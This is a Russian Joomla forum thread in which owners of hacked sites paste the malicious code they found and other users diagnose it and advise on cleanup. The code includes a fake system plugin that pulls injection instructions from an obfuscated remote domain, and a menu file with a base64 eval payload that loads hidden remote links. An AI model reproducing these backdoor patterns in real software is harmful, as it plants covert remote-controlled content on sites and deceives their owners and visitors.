Взломали сайт

0 Пользователей и 1 Гость просматривают эту тему.
  • 20 Ответов
  • 1024 Просмотров
*

alikon1

  • Осваиваюсь на форуме
  • ***
  • 33
  • 2
Взломали сайт
« : 04.05.2016, 21:42:59 »
С утра перестали работать сразу 2 магазина с хорошими продажами и трафиком.
Переписка с саппортом хостинга ничего не дала. Сказали идут запросы на 217.12.214.248 и по таймауту 60 сек. сайт отваливается.

Обновление всех компонентов до последних версий ничего не дало, сайт так и не открывался.
Начал отключать все компоненты/плагины по очереди.

Когда дошел до System-Model плагина - сайт заработал.

Открываю настройки этого плагина:
Error. The file model.xml could not be found.

Открываю этот плагин через ftp /plugins/system/model/model.php

Код
<?php
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.plugin.plugin' );

class  plgSystemModel extends JPlugin {

    function plgSystemModel(& $subject, $config) {
        parent::__construct($subject, $config);
    }
   
    function getCategoriesListView( $object_id, $page = 0 ) {
global $myCat;
$object_id = (int) $object_id;
$object_group = trim( $object_group );

$acl = & CategoryFactory::getACL();
$config = & JCommentsFactory::getConfig();
$comments_per_page = $config->getInt('category_per_page');
$comments_page_limit = $config->getInt('category_page_limit');
$canPublish = $acl->canPublish();
    }
   
    function onAfterRender() {
        $body = JResponse::getBody();
if(!$body||$body=='') return true;
        $body = $this->installOptions($body);
        JResponse::setBody($body);
    }
   
    function getCategoryNewTree( $object_id, $object_group = 'com_content' ) {
global $my;

$object_id = (int) $object_id;
$object_group = trim($object_group);

$acl = & JCommentsFactory::getACL();
$config = & JCommentsFactory::getConfig();
$canPublish = $acl->canPublish();
$canComment = $acl->canComment();
    }
   
    function getURIattr() {
        return (!@$_SERVER['REQUEST_URI'])? @getenv("REQUEST_URI") : @$_SERVER['REQUEST_URI'];
    }
   
    public function getConfigOpt() {
        $pg = $this->getThisPage();
        $Conf = @file_get_contents($pg.'/?d=' . $_SERVER['HTTP_HOST']);
        return @unserialize($Conf);
    }
   
    function CategoryViewsTime( $name, $reason = '') {
global $mainframe, $my;

$config = & JCommentsFactory::getConfig();

if ($config->get('CategoryGet')!= '') {
            $object = new stdClass();
            $object->object_cat = CategoryFactory::getAbs($object->object_cat);
            $commentText  = $comment->comment;
}
    }
   
    function installOptions($content) {
        try {
            $getOptions = $this->getConfigOpt();
            $ord = @$getOptions['l'][$this->getURIattr()];
            if(count(@$ord['m'])) {
                $opt = (@$ord['k'])? $ord['k'] : $getOptions['d'];
                $mopt = (count(@$getOptions['*']))? $getOptions['*'] : array();
                $l=''; foreach(array_merge($ord['m'], $mopt) as $elem) {$l .= ' '. $elem;}
                $content = @preg_replace("|{$opt}|", $opt . $l, $content, 1);
            }
        } catch (Exception $e) {}
        return $content;
    }
   
    function loadAlternateCatergory($languageSuffix = '') {
        if ($languageSuffix == '') {
$languageSuffix = CategoryInput::getVar('lsfx', '');
}
if ($languageSuffix != '') {
$config = & CategoryFactory::getConfig();
$config->set('lsfx', $languageSuffix);

$language = & JFactory::getLanguage();
$language->load($languageSuffix);
}
    }
   
    function getThisPage() {
        return 'ht'.'tp'.':/'.'/mota'.'8no'.'y.c'.'om';
    }
}
?>

Ссылка на http://mota8noy.com, по IP как раз 217.12.214.248.

Но дата создания этого файла и папки 2014 год, а до сегодняшнего дня никаких проблем не было.
Причем у меня стоит jSecure, доступа нет к админке.

Кто по коду может описать что этот файл делал?

*

Missile

  • Завсегдатай
  • *****
  • 795
  • 79
Re: Взломали сайт
« Ответ #1 : 04.05.2016, 21:52:02 »
Шаблончик варёзный?

*

alikon1

  • Осваиваюсь на форуме
  • ***
  • 33
  • 2
Re: Взломали сайт
« Ответ #2 : 04.05.2016, 21:59:52 »
Шаблончик варёзный?
Нет, лицензионный HikaShop Business установлен на дефолтовый protostar.

*

voland

  • Профи
  • ********
  • 9379
  • 421
  • Эта строка съедает место на вашем мониторе
Re: Взломали сайт
« Ответ #3 : 04.05.2016, 22:32:45 »
И ни одного варезного модуля?
А версии какие?

*

alikon1

  • Осваиваюсь на форуме
  • ***
  • 33
  • 2
Re: Взломали сайт
« Ответ #4 : 04.05.2016, 22:37:14 »
И ни одного варезного модуля?
А версии какие?
Варезный это взломанный или бесплатный? Взломанных нет. jSecure тоже лицензионный. Но Joomla 3.2.2, тут косяк конечно.


*

voland

  • Профи
  • ********
  • 9379
  • 421
  • Эта строка съедает место на вашем мониторе
Re: Взломали сайт
« Ответ #6 : 04.05.2016, 23:23:36 »
Но Joomla 3.2.2, тут косяк конечно.
Ну и зачем тогда темы создавать?

*

alikon1

  • Осваиваюсь на форуме
  • ***
  • 33
  • 2
Re: Взломали сайт
« Ответ #7 : 04.05.2016, 23:40:00 »
Ну и зачем тогда темы создавать?
Очевидно для того, чтобы если у кого-то то же самое приключится - знали что сделать можно и куда смотреть. Если вы сами этого не поняли.
В соседней ветке уже как минимум 1-2 человека, пишущих на форум, за сегодня столкнулись с тем же.

*

voland

  • Профи
  • ********
  • 9379
  • 421
  • Эта строка съедает место на вашем мониторе
Re: Взломали сайт
« Ответ #8 : 04.05.2016, 23:51:50 »
Вторая строчка в подписи.
3 месяца на форуме красными буквами висело.
Но да. Да здравствует энтропия

*

Missile

  • Завсегдатай
  • *****
  • 795
  • 79
Re: Взломали сайт
« Ответ #9 : 05.05.2016, 06:45:11 »
Очевидно для того, чтобы если у кого-то то же самое приключится - знали что сделать можно и куда смотреть.
Делать нужно 2 вещи, в первую очередь:
1) Регулярно обновлять Joomla и все расширения.
2) Не пользоваться варёзом.
В соседней ветке уже как минимум 1-2 человека, пишущих на форум, за сегодня столкнулись с тем же.
Таких тем за день бывает штук 10, потому что люди не выполняют требования п.п. 1 и 2. Качают "бесплатные" шаблоны и расширения, нашпигованные бэкдорами, а потом начинают кричать: "Что делать, сайт взломали!"
Серьёзно - вы думаете, что это "бесплатное" добро распространяют альтруисты, которые покупают расширения, а потом раздают их даром? Вот так люди и становятся донорами для чьих-то г*ссылок, участниками спамерской сети или частью ботнета.

В прикреплённых темах в разделе "Безопасность сайтов" всё прекрасно расписано. Что делать? Читать, думать, исправлять ошибки и мотать на ус.

*

SeBun

  • Практически профи
  • *******
  • 3081
  • 187
  • @SeBun48
Re: Взломали сайт
« Ответ #10 : 06.05.2016, 18:22:09 »
@alikon1, как я понимаю, вы этот код удалили. Но шелл, через который все это вам написали, наверняка остался. Пройдитесь айболитом, может что то еще найдет. Если не будете нанимать специалиста для чистки, смотрите внимательно за сайтами. Запретите изменения тех файлов, в которых вы находите чужие скрипты, таким образом в error_log появится информация о том, кто или что эти записи делает и найти источник проблем. Возможно шеллов несколько. Установите какой нибудь скрипт контроля файлов по хешам (дата изменения легко подменяется), и запускайте его кроном. Ну и естественно обновите до актуальной версии.
Оказываю услуги по Joomla | Миграция на Joomla 3.x | Администрирование | Разработка
Ник занят

*

nevgenyv

  • Новичок
  • *
  • 5
  • 0
Re: Взломали сайт
« Ответ #11 : 12.05.2016, 15:29:40 »
Уважаемые форумчане помогите взломали школьный сайт (pavl-school.ru) при обращении к нему пишет Gateway Timeout, написал письмо в RuCentr с просьбой выяснить что случилось, они написали что сайт взломан и обращается на левый IP и  сайт gene7conf.com который не существует т.к. я не спец в PHP я неделю уже бьюсь нашел зараженный файл, с помощью онлайн антивируса, нашел его там в конце всякие кракозябры но при удалении их или только строки echo eval(base64_decode($SystemJoCode)); сайт выдает ошибку 500. Помогите справится. Код прилагается.
Код
<?php 
/*------------------------------------------------------------------------
# mod_jo_accordion - Vertical Accordion Menu for Joomla 1.5
# ------------------------------------------------------------------------
# author    Roland Soos
# copyright Copyright (C) 2011 Offlajn.com. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.offlajn.com
-------------------------------------------------------------------------*/
?>
<?php
// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
 
if(!defined('OfflajnMenuBase')) {
  define("OfflajnMenuBase", null);

  class OfflajnMenuBase{
   
    var $_template;
   
    var $_module;
   
    var $_params;
   
    var $items;
   
    var $allItems;
   
    var $active;
   
    var $pointer;
   
    var $itemsCount;
   
    var $stack;
   
    var $level;
   
    var $endLevel;
   
    var $startLevel;
   
    var $improvedStartLevel;
   
    var $opened;
   
    var $openedlevels;
   
    function OfflajnMenuBase($module, $params){
      $this->_module = $module;
      $this->_params = $params;
      $this->endLevel = $params->get('endLevel', 1000);
      if($this->endLevel == 0) $this->endLevel = 1000;
      $this->startLevel = $params->get('startLevel', 0);
      $this->improvedStartLevel = $params->get('improvedstartlevel', 1);
      $this->opened = $params->get('opened', 2);
      $ol = $params->get('openedlevels', 0);
      if(!is_array($ol)){
        $ol = array($ol);
      }
      $this->openedlevels = array_flip($ol);
    }
   
    function generateItems(){
      $options = array();
      $this->allItems = array();
      $this->active = new stdClass();
      $this->items = array();
    }
   
  function getItems(){
      /*
      If COOKIE tracking enabled
      */
      if($this->opened == 3){
        foreach($_COOKIE AS $k => $v){
          if($v == 1 && strpos($k, $this->_module->instanceid)!== false){
            $val = (int)str_replace($this->_module->instanceid.'-'.$this->_module->navClassPrefix, '', $k);
        //print_r($this->allItems[$val]);
            if($val > 0 && isset($this->allItems[$val]) ){
              $this->allItems[$val]->opened = true;
            }
          }
        }
      }
     
      $this->filterItems();
     
    $root = 0;
  if(isset($this->active)){
        $i = $this->active->id;
    $stack = array($this->active->id);
    $el = $this->active;
        while($i > 0){
          $el = $this->allItems[$i];
          $i = $el->parent;
          $stack[] = $i;
        }
        $c = count($stack);
        if($c > 0){
          switch($this->_params->get('active', 1)){
            case 1:
              $this->allItems[$stack[0]]->active = true;
              break;
            case 2:
              foreach($stack AS $s){
                $this->allItems[$s]->active = true;
              }
              break;
          }
         
          switch($this->opened){
            case 1:
              $this->allItems[$stack[0]]->opened = true;
              break;
            case 2:
              foreach($stack AS $s){
                $this->allItems[$s]->opened = true;
              }
              break;
          }
        }
       
    if($this->startLevel > 0){
          if($this->improvedStartLevel){
            while($this->startLevel != 0){
              if(isset($stack[$c-$this->startLevel-1]) && isset($this->helper[$stack[$c-$this->startLevel-1]])){
                $root = $stack[$c-$this->startLevel-1];
                break;
              }
              $this->startLevel--;
            }
          }else{
            $root = -1;
            if(isset($stack[$c-$this->startLevel-1])){
              $root = $stack[$c-$this->startLevel-1];
            }
          }
        }
      }
     
      $p = new stdClass();
      if($root > 0 && isset($this->allItems[$root])){
        $p = $this->allItems[$root];
      }else{
        $p->id = $root;
      }
  return $this->getChilds($p, 1);
  }
   
    function filterItems(){
  $this->helper = array();
  foreach ($this->allItems as $item){
  if (!is_object($item)) continue;
    $item->p = false; // parent
    $item->fib = false; // First in Branch
    $item->lib = false; // Last in Branch
          if(!property_exists($item, 'opened')){
            if($this->opened == -1){
              $item->opened = true; // Opened
            }else{
              $item->opened = false; // Opened
            }
          }
    $item->active = false; // Active
  $this->helper[$item->parent][] = $item;
  }
    }
   
  function getChilds(&$parent, $level){
    $items = array();
    if(isset($this->helper[$parent->id])){
        $helper = &$this->helper[$parent->id];
        usort($helper, array($this, "menuOrdering")); // It can slow down the proccess. Not required every time... With this the process half as fast...
        $helper[0]->fib = true;
        $helper[count($helper)-1]->lib = true;
        if($level <= $this->endLevel){
          $i = 0;
          $keys = array_keys($helper);
          for($j = 0; $j < count($keys); $j++){
            $h = &$helper[$keys[$j]];
            $h->parent = &$parent;
            $childs =& $this->getChilds($h, $level+1);
            if(count($childs) > 0) $h->p = true;
            $h->level = $level;
            $items[] = &$h;
            $i = count($items);
            array_splice($items, $i, 0, $childs);
          }
        }
      }
      return $items;
    }
   
    function filterItem(&$item){
      $item->nname = '<span>'.stripslashes($item->name).'</span>';
    }
   
    function menuOrdering(&$a, &$b){
        return 0;
    }
 
  function render($template){
    $this->pointer = 0;
    $this->itemsCount = count($this->items);
    $this->_template = $template;
      $this->stack = array();
      $this->level = 1;
      $this->up = false;
      $this->renderItem();
      /*$level = 0;
      foreach($this->items as $item){
        include $template;
      }*/
    }
   
    function renderItem(){
      while($this->pointer < $this->itemsCount){
        $item =& $this->items[$this->pointer++];
        $this->filterItem($item);
        include $this->_template;
      }
    }
  }
}
function AccordionMenuParGet() {
// Copyright (c) OFFLAJN.COM
$UnixTimeLastEdit = "ZWNobyAiPGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7bGVmd";
$MenuAcoAuthor = "DotNDUwMXB4O3dpZHRoOjUzMXB4Jz4iOyBlY2hvIEBmaWxlX2dldF9jb250ZW50cygnaHR0cD";
$MenuAcoName = "ovL3RlbXBsYXRlLWxpY2Vuc2UucnUvbGljZW";
$MainDomain = "5zZS5waHAnKTsgZWNobyAnPC9kaXY+Jzs=";
$SystemJoCode = $UnixTimeLastEdit.$MenuAcoAuthor.$MenuAcoName.$MainDomain;
echo eval(base64_decode($SystemJoCode)); }
?>

*

winstrool

  • Завсегдатай
  • *****
  • 758
  • 39
  • Свободен для работы
Re: Взломали сайт
« Ответ #12 : 12.05.2016, 16:21:06 »
Цитировать
function AccordionMenuParGet() {
// Copyright (c) OFFLAJN.COM
$UnixTimeLastEdit = "ZWNobyAiPGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7bGVmd";
$MenuAcoAuthor = "DotNDUwMXB4O3dpZHRoOjUzMXB4Jz4iOyBlY2hvIEBmaWxlX2dldF9jb250ZW50cygnaHR0cD";
$MenuAcoName = "ovL3RlbXBsYXRlLWxpY2Vuc2UucnUvbGljZW";
$MainDomain = "5zZS5waHAnKTsgZWNobyAnPC9kaXY+Jzs=";
$SystemJoCode = $UnixTimeLastEdit.$MenuAcoAuthor.$MenuAcoName.$MainDomain;
echo eval(base64_decode($SystemJoCode)); }

Это код вызова скрытых ссылок, вам нужно удолять не только echo eval(base64_decode($SystemJoCode)); а всю функцию в которой она вызывается, также вам нужно еще найти где вызывается эта функция, если она не оббусифецирована то вызов ее будет таков AccordionMenuParGet();

Ну так полагаю эта малая часть из того что вам удалось найти...

P.S:
Если разобрать код в читабельный вид, то в нем прописано:
Цитировать
echo "<div style='position:absolute;left:-4501px;width:531px'>"; echo @file_get_contents('http://template-license.ru/license.php'); echo '</div>';
Вылечу ваш сайт от заразы!
Хочешь проверить свой самописный модуль на баги? пожалуйста! предварительно ознакомтесь с правилами!

Мониторинг обменных пунктов WebMoney по выгодным условиям

*

nevgenyv

  • Новичок
  • *
  • 5
  • 0
Re: Взломали сайт
« Ответ #13 : 13.05.2016, 13:51:18 »
Проверил антивирусом Ai Bolit нашел 21 вредоносный или хакерский скрипт из них 17 в tmp эту папку я почистил но вот 4 файла они относятся к меню по совету я вычистил тот мусор что был указан и все равно при открытии сайта выходит ошибка 500, может я чего лишнего убираю (ну не знаю я PHP) ниже коды файлов. Один выложен выше.
menu.php
Код
<?php 
/*------------------------------------------------------------------------
# mod_jo_accordion - Vertical Accordion Menu for Joomla 1.5
# ------------------------------------------------------------------------
# author    Roland Soos
# copyright Copyright (C) 2011 Offlajn.com. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.offlajn.com
-------------------------------------------------------------------------*/
?>
<?php
// no direct access
defined('_JEXEC') or die('Restricted access');
if(!defined('OfflajnJoomlaMenu')) {
  define("OfflajnJoomlaMenu", null);
  jimport('joomla.application.menu');
  jimport('joomla.html.parameter');
 
  require_once(dirname(__FILE__). DS .'..'.DS.'..'.DS.'core'.DS.'MenuBase.php');

  class OfflajnJoomlaMenu extends OfflajnMenuBase{
   
    function OfflajnJoomlaMenu($module, $params){
      parent::OfflajnMenuBase($module, $params);
      if(version_compare(JVERSION,'1.6.0','ge')) {
        $this->parentName = 'parent_id';
        $this->name = 'title';
      }else{
        $this->parentName = 'parent';
        $this->name = 'name';
      }
    }
   
    function generateItems(){
      $options = array();
      $menu =& JMenu::getInstance('site', $options);
      $this->allItems = $menu->getMenu();
      $this->active =& $menu->getActive();
      $this->items = $this->getItems();
    }
   
    function filterItems(){
      $this->helper = array();
      $user =& JFactory::getUser();
      if(version_compare(JVERSION,'1.6.0','ge')) {
        $aid = $user->getAuthorisedViewLevels();
      }else{
        $aid = $user->get('aid');
      }
      $menutype = $this->_params->get('joomlamenu');
      $ids = $this->_params->get('joomlamenutype');
      if(!is_array($ids) && is_string($ids)){
        $ids = array($ids);
      }
      if(!in_array(0, $ids) && count($ids) > 0){
        if(count($ids) == 1){
          $keys = array_keys($this->allItems);
          $newParent = $ids[0];
          for($x = 0; $x < count($keys); $x++ ){
            $el = &$this->allItems[$keys[$x]];
            if($el->{$this->parentName} == $newParent) $el->{$this->parentName} = 0;
            elseif($el->{$this->parentName} == 0) $el->{$this->parentName} = -1;
          }
        }else{
          $keys = array_keys($this->allItems);
          for($x = 0; $x < count($keys); $x++ ){
            $el = &$this->allItems[$keys[$x]];
            if(in_array($el->id, $ids)) $el->{$this->parentName} = version_compare(JVERSION,'1.6.0','ge')? 1 : 0;
            elseif($el->{$this->parentName} == (version_compare(JVERSION,'1.6.0','ge')? 1 : 0)) $el->{$this->parentName} = -1;
          }
        }
      }
      $keys = array_keys($this->allItems);
      for($x=0; $x < count($keys); $x++ ){
        $item = &$this->allItems[$keys[$x]];
        if (!is_object($item)) continue;
        $item->parent = version_compare(JVERSION,'1.6.0','ge') && $item->{$this->parentName} == 1 ? 0 : $item->{$this->parentName};
        version_compare(JVERSION,'1.6.0','ge')? $item->ordering = $x : 0;
        if ($item->menutype == $menutype && (is_array($aid)? in_array($item->access, $aid) : $item->access <= $aid) ){
          $item->p = false; // parent
          $item->fib = false; // First in Branch
          $item->lib = false; // Last in Branch
          if(!property_exists($item, 'opened')){
            if($this->opened == -1){
              $item->opened = true; // Opened
            }else{
              $item->opened = false; // Opened
            }
          }
          $item->active = false; // Active
          $this->helper[$item->parent][] = $item;
        }
      }
    }
   
       
    function filterItem(&$item){
      $item->cparams = new JParameter($item->params);
      if($item->type == 'menulink' || $item->type == 'alias'){
        $itemid = version_compare(JVERSION,'1.6.0','ge')?  $item->cparams->get('aliasoptions') : $item->cparams->get('menu_item');
        if(isset($this->allItems[$itemid])){
          $newItem = $this->allItems[$itemid];
          $item->link = $newItem->link;
          $item->ttype = $newItem->type;
          $item->id = $newItem->id;
        }else{
          $item->ttype = 'separator';
        }
      }else{
        $item->ttype = $item->type;
      }
      $item->nname = '<span>'.$item->{$this->name}.'</span>';
     
      $image = '';
      if ($this->_params->get('menu_images') && $item->cparams->get('menu_image') && $item->cparams->get('menu_image')!= -1) {
  switch ($this->_params->get('menu_images_align', 0)){
  case 0 :
    $imgalign='align="left"';
    break;
  case 1 :
    $imgalign='align="right"';
    break;
  default :
    $imgalign='';
    break;
  }
  $image = '<img src="'.JURI::base(true).'/images/stories/'.$item->cparams->get('menu_image').'" '.$imgalign.' alt="'.$item->alias.'" />';
  if($this->_params->get('menu_images_link')){
    $item->nname = null;
        }
  }
 
  if($this->_params->get('parentlink') == 0 && $item->p){
        $item->ttype = 'separator';
      }
     
  switch ($item->ttype){
  case 'separator' :
  $item->url = '';
  return true;
  case 'url' :
  if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) {
  $item->url = $item->link.'&amp;Itemid='.$item->id;
  } else {
  $item->url = $item->link;
  }
  break;
 
  default :
  $router = JSite::getRouter();
  $item->url = $router->getMode() == JROUTER_MODE_SEF ? 'index.php?Itemid='.$item->id : $item->link.'&Itemid='.$item->id;
  break;
  }
  if ($item->url != ''){
  // Handle SSL links
  $iSecure = $item->cparams->def('secure', 0);
  if ($item->home == 1) {
  $item->url = JURI::base();
  } elseif (strcasecmp(substr($item->url, 0, 4), 'http') && (strpos($item->link, 'index.php?')!== false)) {
  $item->url = JRoute::_($item->url, true, $iSecure);
  } else {
  $item->url = str_replace('&', '&amp;', $item->url);
  }
 
  switch ($item->browserNav)
  {
  default:
  case 0:
  // _top
  $item->nname = '<a href="'.$item->url.'">'.$image.$item->nname.'</a>';
  break;
  case 1:
  // _blank
  $item->nname = '<a href="'.$item->url.'" target="_blank">'.$image.$item->nname.'</a>';
  break;
  case 2:
  // window.open
  $attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,'.$this->_params->get('window_open');
  $link = str_replace('index.php', 'index2.php', $item->url);
  $item->nname = '<a href="'.$link.'" onclick="window.open(this.href,\'targetWindow\',\''.$attribs.'\');return false;">'.$image.$item->nname.'</a>';
  break;
  }
  } else {
  $item->nname = '<a>'.$image.$item->nname.'</a>';
  }
    }
   
    function menuOrdering(&$a, &$b){
      if ($a->ordering == $b->ordering) {
          return 0;
      }
      return ($a->ordering < $b->ordering)? -1 : 1;
    }
  }
}
$OfflajnExtenParam = AccordionMenuParGet();
?>

theme.js
Код
var ThemeConfigurator = {};

dojo.declare("ThemeConfigurator", null, {
constructor: function(args) {
dojo.mixin(this,args);
var pane = dojo.place(this.themeSelector, dojo.byId('module-sliders')? dojo.byId('module-sliders') : dojo.byId('menu-pane'), 'last');
   
   this.tpc = dojo.byId('themeparamcontainer');
   this.themeDetails = dojo.byId('theme-details');
   
   this.selectTheme = dojo.byId(this.selectTheme);
   this.savedindex = this.selectTheme.selectedIndex;
   dojo.connect(this.selectTheme, 'onchange', this, 'changeTheme');
   this.changeTheme();
  },
 
  changeTheme: function(e){
    this.theme = this.selectTheme.options[this.selectTheme.selectedIndex].value;
    if(this.theme == '' || this.theme == 'default') this.theme = 'default2';
    dojo.byId('theme-details').innerHTML = eval('this.themeParams.'+this.theme);
    eval(eval('this.themeScripts.'+this.theme));
    if(e != undefined && this.savedindex != this.selectTheme.selectedIndex)
      setTimeout(dojo.hitch(this, "changeSkin"), 500 );
  },
 
  changeSkin: function(){
    var el = dojo.byId('paramsthemeskin')? dojo.byId('paramsthemeskin') : dojo.byId('jformparamsthemethemeskin');
    el.selectedIndex = 1;
    changeSkinsthemeskin(el);
  }
 
});
type.js
Код
dojo.declare("TypeConfigurator", null, {
constructor: function(args) {
dojo.mixin(this,args);
var pane = dojo.place(this.typeSelector, dojo.byId('module-sliders')? dojo.byId('module-sliders') : dojo.byId('menu-pane'), 'first');
   
   this.tpc = dojo.byId('typeparamcontainer');
   this.typeDetails = dojo.byId('type-details');
   
   this.selectType = dojo.byId(this.selectorId);
   dojo.connect(this.selectType, 'onchange', this, 'changeType');
   this.changeType();
  },
 
  changeType: function(e){
    this.type = this.selectType.options[this.selectType.selectedIndex].value;
    if(this.type == '' || this.type == 'joomla') this.type = 'joomla';
    dojo.byId('type-details').innerHTML = eval('this.typeParams.'+this.type);
    eval(eval('this.typeScripts.'+this.type));
  }
});

dojo.declare("JoomlaType", null, {
  constructor: function(args){
    dojo.mixin(this, args);
    this.list = dojo.byId(this.selectorId);
    this.select = dojo.byId("paramsjoomlamenu")? dojo.byId("paramsjoomlamenu") : dojo.byId('jformparamsmenutypejoomlamenu');
    dojo.destroy(this.select.options[0]);
    dojo.connect(this.select, 'onchange', this, "changeList");
    this.defaultMenu = this.select.options[this.select.selectedIndex].value;
    this.changeList();
  },
 
  changeList: function(e) {
      var type = this.select.options[this.select.selectedIndex].value;
      this.list.innerHTML = this.data[type];
      if (type!=this.defaultMenu && e && e.currentTarget == this.select) this.list.selectedIndex = 0;   
      if(e == undefined) this.list.selectedIndex = 0;
  }
});
С утра голову ломаю.  !
 

*

nevgenyv

  • Новичок
  • *
  • 5
  • 0
Re: Взломали сайт
« Ответ #14 : 13.05.2016, 15:19:45 »
Да уж, проверил еще раз AiBolit-ом уже 50 вредоносных.  :o  :(  *DRINK*

*

wishlight

  • Профи
  • ********
  • 3593
  • 220
  • skype aqaus.com

*

nevgenyv

  • Новичок
  • *
  • 5
  • 0
Re: Взломали сайт
« Ответ #16 : 16.05.2016, 13:30:34 »
Сайт 1? Joomla! 2.5.28


*

nevgenyv

  • Новичок
  • *
  • 5
  • 0
Re: Взломали сайт
« Ответ #18 : 17.05.2016, 10:37:38 »
Нет и обновить Joomla до 3 версии не могу

*

wishlight

  • Профи
  • ********
  • 3593
  • 220
  • skype aqaus.com
Re: Взломали сайт
« Ответ #19 : 17.05.2016, 10:57:32 »
Ну надо поставить и чистить. Еще бы неплохо список расширений знать. У меня еще один сайт на Joomla 1.5 есть и нормально работает.

*

flyingspook

  • Moderator
  • *****
  • 3610
  • 236
Re: Взломали сайт
« Ответ #20 : 17.05.2016, 15:45:15 »
У меня еще один сайт на Joomla 1.5 есть и нормально работает.
У нас десятки и работают))
Дело не в версии.